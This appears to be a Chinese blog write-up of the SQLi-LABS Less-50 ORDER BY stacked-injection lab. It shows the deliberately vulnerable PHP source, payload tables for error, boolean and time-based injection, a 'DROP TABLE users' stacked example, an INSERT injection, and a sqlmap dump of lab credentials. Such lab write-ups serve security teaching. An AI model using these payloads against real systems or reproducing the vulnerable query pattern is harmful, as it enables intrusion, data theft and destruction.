当前位置: 首页 > news >正文

sqli-labs通关笔记-第50关 GET数值型order by堆叠注入(手工注入+脚本注入两种方法)

目录

一、ODRDER BY注入

二、源码分析

1、代码审计

2、SQL注入安全性分析

三、渗透实战

1、进入靶场

2、渗透准备

(1)sort=1

(2)sort=2

(3)sort=3

(4)不存在的列

3、手工注入

(1)堆叠注入

(2)查看数据库

4、sqlmap实战


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节使用两种方法(手注法与脚本法)对第50关Less 50基于ORDER BY型的SQL堆叠注入关卡进行渗透实战。  

一、ODRDER BY注入

ORDER BY 注入是SQL注入的一种特殊形式,攻击者通过操纵SQL查询中的ORDER BY子句来实施攻击。这种注入通常出现在数据排序功能中,当应用程序将用户输入直接拼接到ORDER BY子句时产生安全风险。

项⽬描述
类型SQL 注入(SQL Injection)的⼀种,利⽤排序参数构造恶意 SQL 语句。
原理应⽤程序将⽤户输⼊直接拼接到 ORDER BY 子句中时,攻击者可篡改排序逻辑,触发 SQL 注入。
常见场景出现在带有排序功能的列表页(如商品排序、⽤户列表排序),参数通常为 orderbysort 等。
语法限制ORDER BY 仅作用于当前查询块(主查询或子查询),无法直接作用于 UNION 后的结果集。
攻击关键通过控制排序字段或参数,干扰主查询逻辑 或 构造子查询注入

经典攻击 Payload 示例如下所示。

攻击⽬标Payload说明
探测字段数?sort=1?sort=2… 逐步增加数值,直到页面不报错(字段数为最后有效数值)。若字段数为 3,则 ?sort=3 正常,?sort=4 报错。
报错注入?sort=UPDATEXML(1,CONCAT(0x7e,(SELECT database()),0x7e),1)若数据库版本支持报错函数,可通过报错回显数据

条件判断

(布尔注入)

?sort=IF(1=1,1,2)

?sort=(case when 1=1 then column1 else column2 end)

若条件为真,按第 1 列排序;否则按第 2 列排序,通过页面排序变化判断条件是否成立。
延时注⼊(盲注)?sort=IF(USER()='admin',SLEEP(5),id)若⽤户为 admin,则延迟 5 秒响应,可通过响应时间判断结果。

对存在order by的SQL注入风险的页面使用报错法进行渗透测试步骤如下所示。

攻击目标示例 Payload(URL 参数)
1. 探测注入点原 URL:http://example.com/products?sort=price
测试:http://example.com/products?sort=1 ORDER BY 1--
2. 判断字段数?sort=1 → 正常排序
?sort=5 → 报错 Unknown column '5' in 'order clause'→ 表有 4 个字段
3. 获取据库名?sort=UPDATEXML(1,CONCAT(0x7e,(SELECT database()),0x7e),1)
4. 枚举表名?sort=UPDATEXML(1,CONCAT(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),0x7e),1)
5. 枚举列名?sort=UPDATEXML(1,CONCAT(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),0x7e),1)
6. 读取数据?sort=UPDATEXML(1,CONCAT(0x7e,(SELECT username FROM users LIMIT 0,1),0x7e),1)

二、源码分析

1、代码审计

本关卡Less50是ORDER BY型的SQL注入关卡,如下所示。

Less50关卡的源码功能是简单基于列数对user表排序的页面,与46关的主要区别是SQL查询时使用了存在堆叠注入风险的mysqli_multi_query函数,对比如下所示。

index.php详细注释过的源码如下所示。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<!-- 页面基础设置 -->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ORDER BY Clause Blind based</title>  <!-- 页面标题表明这是基于ORDER BY的盲注实验 -->
</head><!-- 黑色背景的页面主体 -->
<body bgcolor="#000000">
<!-- 页面顶部欢迎信息 -->
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br><font size="3" color="#FFFF00"><?php
/** SQL注入演示代码 - Less-48* 主要风险:ORDER BY子句注入* 安全风险:直接拼接用户输入到SQL查询中*/// 引入数据库连接配置文件
include("../sql-connections/sqli-connect.php");// 关闭错误报告,避免泄露敏感信息(但下方又直接输出SQL错误,存在矛盾)
error_reporting(0);// 从GET请求获取sort参数 - 这是主要的注入点
$id = $_GET['sort'];    // 检查是否提供了sort参数
if(isset($id))
{// 记录攻击日志到文件(用于教学分析)$fp = fopen('result.txt', 'a');  // 以追加模式打开日志文件fwrite($fp, 'SORT:'.$id."\n");  // 记录用户输入的sort参数fclose($fp);  // 关闭文件/** 存在严重安全风险的SQL查询构造* 风险:直接将用户输入拼接到ORDER BY子句*/$sql = "SELECT * FROM users ORDER BY $id";  /** 使用多重查询执行 - 增加了堆叠注入的风险* 安全建议:应使用mysqli_query()替代*/if (mysqli_multi_query($con1, $sql)){// 查询成功时的处理?><!-- 结果表格的HTML结构 --><center><font color= "#00FF00" size="4"><table border='1'>  <!-- 用户数据表格 --><tr><th>&nbsp;ID&nbsp;</th><th>&nbsp;USERNAME&nbsp;</th><th>&nbsp;PASSWORD&nbsp;</th></tr></font></font><?php// 存储第一个结果集if ($result = mysqli_store_result($con1)){// 遍历结果集中的每一行数据while($row = mysqli_fetch_row($result)){// 输出表格行echo '<font color= "#00FF11" size="3">';        echo "<tr>";// 输出ID列echo "<td>";printf("%s", $row[0]);echo "</td>";// 输出用户名列echo "<td>";printf("%s", $row[1]);echo "</td>";// 输出密码列echo "<td>";printf("%s", $row[2]);echo "</td>";echo "</tr>";echo "</font>";}}// 关闭表格标签echo "</table>";}else{// 查询失败时的处理 - 直接显示数据库错误信息(安全风险)echo '<font color= "#FFFF00">';print_r(mysqli_error($con1));  // 打印MySQL错误详情echo "</font>";  }
}
else
{// 没有提供sort参数时的默认显示echo "Please input parameter as SORT with numeric value<br><br><br><br>";echo "<br><br><br>";echo '<img src="../images/Less-50.jpg" /><br>';  // 显示实验图片
}
?>
<!-- 页面底部空白区域 -->
</font> 
</div>
</br>
</br>
</br>
</center> 
</body>
</html>

本关卡主要功能是通过 URL 参数接收排序字段,查询并展示用户列表,具体处理逻辑如下所示。

  • 接收用户输入

    • 通过 URL 参数sort接收排序字段(如?sort=id
    • 直接将用户输入拼接到 SQL 的ORDER BY子句中
  • 数据库查询

    • 查询users表的所有记录,并根据用户指定字段排序。
    • 使用mysqli_multi_query执行SQL语句,存在堆叠注入可能性。
  • 结果展示

    • 将查询结果以表格形式展示(包含 ID、用户名、密码字段)
    • 查询失败时打印数据库原始错误信息

2、SQL注入安全性分析

很明显本关卡存在order by型SQL注入风险,如下所示。

  • SQL 注入风险

    • 直接将用户输入的sort参数拼接到 SQL 语句中,未对参数进行任何过滤
    • 攻击者可通过构造特殊参数执行任意 SQL 命令
    • 使用multi_query允许执行多条SQL语句,增加了堆叠注入的风险
  • 可能的攻击方式

    • 布尔盲注:?sort=(CASE WHEN (条件) THEN 1 ELSE 2 END)

    • 时间盲注:?sort=IF(条件,SLEEP(5),1)

    • 报错注入:?sort=1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)

    • 堆叠查询:?sort=1; DROP TABLE users--

三、渗透实战

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://192.168.59.1/sqli-labs/

点击进入Page3堆叠注入,如下图红框所示。 

其中第50关在堆叠挑战关卡“SQLi-LABS Page-3 (Stacked Injections)”中, 点击进入如下页面。

http://192.168.59.1/sqli-labs/index-2.html#fm_imagemap

点击上图红框的Less50关卡,进入到靶场的第50关卡order by型的SQL注入关卡,页面提示“Please input parameter as SORT with numeric value”,具体如下所示。

http://192.168.59.1/sqli-labs/Less-50

2、渗透准备

(1)sort=1

根据第1列也就是id对users表进行排序,参数sort设置为1,如下所示为id=1到id=45之间的排序后表格。

http://192.168.59.1/sqli-labs/Less-50/index.php?sort=1

(2)sort=2

根据第2列也就是username对users表进行排序,参数sort设置为2,如下所示为第2列排序后的表格。

http://192.168.59.1/sqli-labs/Less-50/index.php?sort=2

(3)sort=3

根据第3列也就是对password列进行排序,参数sort设置为3,如下所示为第3列排序后的表格。

http://192.168.59.1/sqli-labs/Less-50/index.php?sort=3

(4)不存在的列

使用sort=4进行排序,提示“ Unknown column '4' in 'order clause'”,说明本关卡页面最多显示3列,如下所示。

http://192.168.59.1/sqli-labs/Less-50/index.php?sort=4

3、手工注入

(1)堆叠注入

根据源码分析可知本关卡具有堆叠注入安全风险,闭合方式为单引号,故而堆叠注入命令插入一个新的用户,id为50,用户名为mooyuan_50,密码为mooyuan,如下所示。

http://192.168.59.1/sqli-labs/Less-50/index.php?sort=1;insert into users(id,username,password) values ('50','mooyuan_50','mooyuan')%23

如下所示,页面显示按照第1列排序的users表,说明渗透成功。 

(2)查看数据库

使用navicat查看数据库的users表,如下所示新增用户id为50,用户名为mooyuan_50,密码为mooyuan,说明渗透成功。

4、sqlmap实战

 我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),完整的SQL注入命令如下所示。

sqlmap -u http://192.168.59.1/sqli-labs/Less-50/?sort=1 --current-db --dump --batch

sqlmap渗透成功,可以通过报错法、布尔盲注、时间盲注3种方法渗透成功,具体信息如下所示。

GET parameter 'sort' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 260 HTTP(s) requests:
---
Parameter: sort (GET)Type: boolean-based blindTitle: Boolean-based blind - Parameter replace (original value)Payload: sort=(SELECT (CASE WHEN (9308=9308) THEN 1 ELSE (SELECT 2134 UNION SELECT 6576) END))Type: error-basedTitle: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)Payload: sort=1 AND EXTRACTVALUE(6419,CONCAT(0x5c,0x717a717a71,(SELECT (ELT(6419=6419,1))),0x717a716271))Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: sort=1 AND (SELECT 3419 FROM (SELECT(SLEEP(5)))kdbB)
---
[02:32:33] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.1
[02:32:33] [INFO] fetching current database
[02:32:33] [INFO] retrieved: 'security'
current database: 'security'Database: security
Table: users
[23 entries]
+----+---------------+----------------+
| id | password      | username       |
+----+---------------+----------------+
| 1  | Dumb          | Dumb           |
| 2  | I-kill-you    | Angelina       |
| 3  | p@ssword      | Dummy          |
| 4  | crappy        | secure         |
| 5  | stupidity     | stupid         |
| 6  | genious       | superman       |
| 7  | mob!le        | batman         |
| 8  | mooyuan123456 | admin          |
| 9  | admin1        | admin1         |
| 10 | admin2        | admin2         |
| 11 | admin3        | admin3         |
| 12 | dumbo         | dhakkan        |
| 14 | admin4        | admin4         |
| 15 | 123456        | admin'#mooyuan |
| 38 | mooyuan       | mooyuan_38     |
| 39 | mooyuan       | mooyuan_39     |
| 40 | mooyuan       | mooyuan_40     |
| 41 | mooyuan       | mooyuan_41     |
| 42 | mooyuan       | mooyuan_42     |
| 43 | mooyuan       | mooyuan_43     |
| 44 | mooyuan       | mooyuan_44     |
| 45 | mooyuan       | mooyuan_45     |
| 50 | mooyuan       | mooyuan_50     |
+----+---------------+----------------+
http://www.lryc.cn/news/621464.html

相关文章:

  • StringBoot-SSE和WebFlux方式消息实时推送-默认单向-可增加交互接口
  • qt项目中解决关闭弹窗后执行主界面的信号槽时闪退问题
  • c++中的Lambda表达式详解
  • ATAM:基于场景的软件架构权衡分析法
  • 使用Docker和Miniconda3搭建YOLOv13开发环境
  • 微服务架构概述
  • docker 容器管理入门教程
  • Docker network网络管理入门教程
  • JS 解构赋值语法
  • Vue浅学
  • 0814 TCP通信协议
  • 【C#补全计划】泛型约束
  • [TryHackMe](知识学习)---基于堆栈得到缓冲区溢出
  • Vue 3 + TypeScript:package.json 示例 / 详细注释说明
  • Apache 虚拟主机配置冲突导致 404 错误的排查总结
  • 通信算法之313:FPGA中实现滑动相关消耗DSP资源及7045/7035的乘法器资源
  • redis中分布式锁的应用
  • 面试题:如何用Flink实时计算QPS
  • 解锁AI潜能:五步写出让大模型神级指令
  • 宋红康 JVM 笔记 Day01|JVM介绍
  • 嵌入式开发学习———Linux环境下网络编程学习(一)
  • 【数据分享】351个地级市农业相关数据(2013-2022)-有缺失值
  • 速通C++类型转换(代码+注释)
  • AI测试自动化:智能软件质量守护者
  • 带root权限_贝尔RG020ET-CA融合终端S905L处理器当贝纯净版刷机教程
  • ROS机器人云实践案例博客建议和范文-AI版本
  • DAY 22|算法篇——贪心四
  • linux初始化配置
  • 【Linux系统】进程的生命旅程:从创建到独立的演绎
  • vue+moment将分钟调整为5的倍数(向下取整)